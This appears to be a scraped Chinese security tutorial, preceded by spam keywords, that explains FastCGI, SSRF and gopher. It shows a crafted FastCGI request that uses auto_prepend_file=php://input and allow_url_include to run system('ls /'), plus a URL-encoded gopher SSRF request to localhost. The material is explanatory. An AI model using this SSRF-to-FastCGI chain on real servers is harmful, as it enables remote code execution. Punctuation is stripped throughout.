内蒙古建设安全监督网站,浙江网站建设价格,物业管理信息系统,网站开发年收入FastCGI协议 简介 Fast CGI源自旧版本的CGI 路由/结构图 # 访问url -- 浏览器生成HTTP请求报文 -- web server解析请求#xff08;例如nginx#xff09;
web server 是内容的分发者
当访问静态页面时#xff0c;web server 会直接返回资源#xff0c;例如index.htm…FastCGI协议 简介 Fast CGI源自旧版本的CGI 路由/结构图 # 访问url -- 浏览器生成HTTP请求报文 -- web server解析请求例如nginx
web server 是内容的分发者
当访问静态页面时web server 会直接返回资源例如index.html
当访问动态页面时web server 会调用解析器例如index.php
# -- 访问CGI
# -- CGI初始化环境加载配置处理请求返回资源结束进程 每次处理请求后都会销毁进程浪费资源旧版本的CGI性能低下无法应用在高并发的场景FastCGI应运而生 FastCGI也是一种通信协议类似HTTP协议采用CS架构web server 为客户端---发送请求动态语言解析器 为服务端---处理请求 路由/结构图 # 访问url -- 浏览器生成HTTP请求报文 -- web server解析请求例如nginx
当访问index.php时web server 会把HTTP请求转换为FastCGI请求
# -- 转换为FastCGI协议格式
并发送给解析器这里以php为例
# -- 发送至php-fpm process manager
php-fpm接收到请求后把请求分配给一个workerworker就是一个解析服务的进程一直运行worker根据请求信息解析php返回页面
例如招新平台运行了15个worker不考虑nginx处理时间同时可以处理15个请求
# -- php-fpm解析并响应对比图 FastCGI报文格式 定义 typedef struct {unsigned char version; //版本unsigned char type; //类型unsigned char requestIdB1; //请求Idunsigned char requestIdB0; unsigned char contentLengthB1; //负载长度unsigned char contentLengthB0;unsigned char paddingLength; //填充长度unsigned char reserved; //保留字节unsigned char contentData[contentLength]; //负载数据unsigned char paddingData[paddingLength]; //填充数据
} FCGI_Record;构造出的执行ls /命令的FastCGI请求 调整过格式不标准 CONTENT_LENGTH 34 # 内容长度
CONTENT_TYPE application/text # 内容格式
REMOTE_PORT 9985 # 请求端口
SERVER_NAME localhost # server名
GATEWAY_INTERFACE FastCGI/1.0 # API
SERVER_SOFTWARE php/fcgiclient # server端 软件
REMOTE_ADDR 127.0.0.1 # 请求ip
SCRIPT_FILENAME /var/www/html/index.php # 脚本文件名
SCRIPT_NAME /var/www/html/index.php # 脚本名
PHP_VALUE auto_prepend_file php://input
REQUEST_METHOD POST # 请求方法
SERVER_PORT 8 # server端口
SERVER_PROTOCOL HTTP/1.1 # server 协议
QUERYDOCUMENT_ROOT / # 请求文件根目录
IN_VALUE allow_url_include On # 设置 允许url包含
SERVER_ADDR 127.0.0.1 # server ip
REQUEST_URI /var/www/html/index.php # 请求资源?php var_dump(system(ls /)); ? # 内容SSRF 简介 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造的由服务端发起请求的漏洞。利用不安全的配置构造可以访问内网的请求 例如 /secret.php 是外网无法访问的http://xxx.xxx/?urlhttp://127.0.0.1/example.php该链接会使用curl构造请求访问/var/www/html/secret.php文件如果配置不当就可以利用GET参数url构造请求访问内网资源假如内网的3000端口有管理系统则可以通过?urlhttp://127.0.0.1:3000进行访问 ssrf万金油----gopher gopher是被http替代掉的老协议 协议格式 gopher://IP:PORT/_TCP/IP数据 例如 http请求http://127.0.0.1/index.php?test123 http请求包 GET /index.php?test123 HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Connection: close gopher请求gopher://127.0.0.1:80/_GET%20index.php?test123%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%37%34%2e%30%2e%33%37%32%39%2e%31%36%39%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a%0d%0a 这是HTTP请求包的url编码gopher会访问指定IP上面是127.0.0.1的指定端口上面是80http默认端口并传递_之后的数据 也就是说如果能使用gopher协议那么只需要构造我们要用到的协议的请求数据比如上面的HTTP就可以实现访问
ssrf fastcgi
如果目标服务器使用的是php并且存在ssrf那么就可以构造FastCGI请求报文直接让php解析服务进行解析进而执行任意代码之前构造出的执行 ls /的FastCGI请求中关键部分
PHP_VALUE auto_prepend_file php://input
# 把auto_prepende_file的内容设置为 php://input http post body
# auto_prepende_file 会在解析指定php文件之前包含可以理解为执行
# php://input的内容为POST请求的bodyIN_VALUE allow_url_include On # 设置 允许url包含 使php://input被允许执行REQUEST_URI /var/www/html/index.php # 请求资源?php var_dump(system(ls /)); ? # 内容 post body会在解析index.php之前包含执行php://input的内容?php var_dump(system(ls /)); ? 这样就可以使用ssrffastcgi执行任意代码了